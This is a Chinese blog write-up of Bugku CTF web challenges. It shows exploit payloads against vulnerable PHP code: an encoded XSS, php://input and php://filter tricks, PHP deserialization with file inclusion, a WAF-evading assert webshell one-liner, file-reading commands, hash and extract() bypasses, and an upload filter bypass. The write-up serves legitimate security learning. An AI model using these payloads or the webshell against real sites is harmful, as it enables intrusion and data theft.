bugku ctf writeup2

前言

  这篇开始bugku高级篇。。。

Web

XSS注入测试

  题目描述:

1、请注入一段XSS代码,获取Flag值
2、必须包含alert(key),key会自动被替换

  随便测试了一下,发现会对字符进行实体编码。




  注意到页面是utf-8编码,id传入代码会在s中运行,考虑将<>进行unicode编码,这样当代码被替换进去运行时,utf-8编码又会将其变回来
  所以payload:?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e,访问后查看源代码即可得到flag。

### never give up
  查看题目的源代码如下:



  访问1p.html,注意是在查看源代码的地方访问,然后可以发现加密了的字符串。



  拿去解密,这里不累赘。直接放出源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>


  可以看到flag文件已经暴露出来,直接访问也可以拿到flag。但这里介绍绕过检测拿到flag的方法。可以看到满足拿flag的条件有三个:
一:id

    id既要不等于0(if(!$_GET['id'])),又要等于0($id==0)。所以这里我们要利用php的松散性,字符串跟0比较(==)是成立的,所以payload:"aaa" == 0
二:php伪协议

    $data = @file_get_contents($a,'r');的存在可以使用php://input在绕过,所以:a=php://input,然后在postbugku is a nice plateform!。
三:字符截断     假设:
1
2
3
$b = "%0012345"
substr($b,0,1) --> 将返回空(null
strlen($b)>5 --> 是成立的


  所以最终的payload:?id=aaa&a=php://input&b=%00abcde


never give up

  查看网页源代码可以发现存在源码泄露漏洞。




  使用php伪协议:php://input,php://filter可以读取index.php和hint.php的base64源码。



  这里直接贴解密后的代码。
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>


hint.php
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>


  从$password = unserialize($password);中很明显可以看到是反序列化漏洞,所以构造读取flag的payload:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  所以最终的payload为:



  这里要注意的是file=hint.php,因为要利用php对象反序列化要先声明对象,所以要将hint.php包含进来。

  总的来说,这道题的考察点算是比较多的,包括:php伪协议、文件包含、php反序列化,所以质量还是可以的。

### 过狗一句话
  题目描述:
>http://120.24.86.145:8010/
>送给大家一个过狗一句话
><?php $poc=”a#s#s#e#r#t”; $poc_1=explode(“#”,$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[‘s’]) ?>

  这个一句话组合起来实际是:assert($_GET['s']),验证一下,发现确实可行。



  但发现在执行system函数的时候无返回结果估计被禁用了。



  接着使用php读取文件的代码:
1
eval("echo file_get_contents('flag.txt');")





  这里的flag.txt是我自己猜测的,但结果还真被我猜对了。。。

  这道题解得有点侥幸,如果flag不存放在flag.txt,那么这方法将利用不了,所以为了解决这个问题,自己特别找了这道题的writeup,介绍一种使用php代码遍历当前目录的文件的方法:php中的glob()函数,详细说明如下:



  所以我们可以使用print_r(glob("*.*"))来打印当前目录下存在的文件。



  然后再介绍几种读取文件的方法:
1
2
3
show_source('flag.txt');
var_dump(file("flag.txt"));
print_r(file("flag.txt"));


### 字符?正则?
1
2
3
4
5
6
7
8
<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>


  这个还是比较简单的,其中一个payload:?id=keyaaakeybbbbbkey:/c/dddkeye.


各种绕过

  题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>

  sha1的绕过跟md5一样使用数组即可,注意请求的方式。



web8

  题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

  解题的关键在于extract($_GET)函数,它会将数组中的值按键值赋值,例如:?id=1&name=junay&key=key,经过extract的处理后会产生:

1
2
3
$id = 1;
$name = "junay";
$key = "key";

  所以我们构造$ac$fn,其中$fn使用php://input伪协议。最终的payload:



细心

  打开页面发现是404,但是对这个站熟悉的话,正常返回的404是不一样的,所以这个404是骗人的,而且通过网络可以验证这一点。




  同时,这里看到No such file or directory.,还给你加红显示,估计就是想让你爆目录,拿出扫描工具,结果如下。



  访问robots.txt,可以发现线索。



  再跟下去可以发现真正的页面



  因为题目说想办法变成admin,所以尝试构造x=admin试试,结果flag就出来了。


求getshell

  题目:




  这道题是看writeup做出来的,一开始测试时没有想到改Content-Type,其实只需要将其中的一个字母大写就可以了,然后测试php2, php3, php4, php5,phps, pht, phtm, phtml,发现只有php5能绕过。所以payload就是:




  
  
  
  
  
  

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×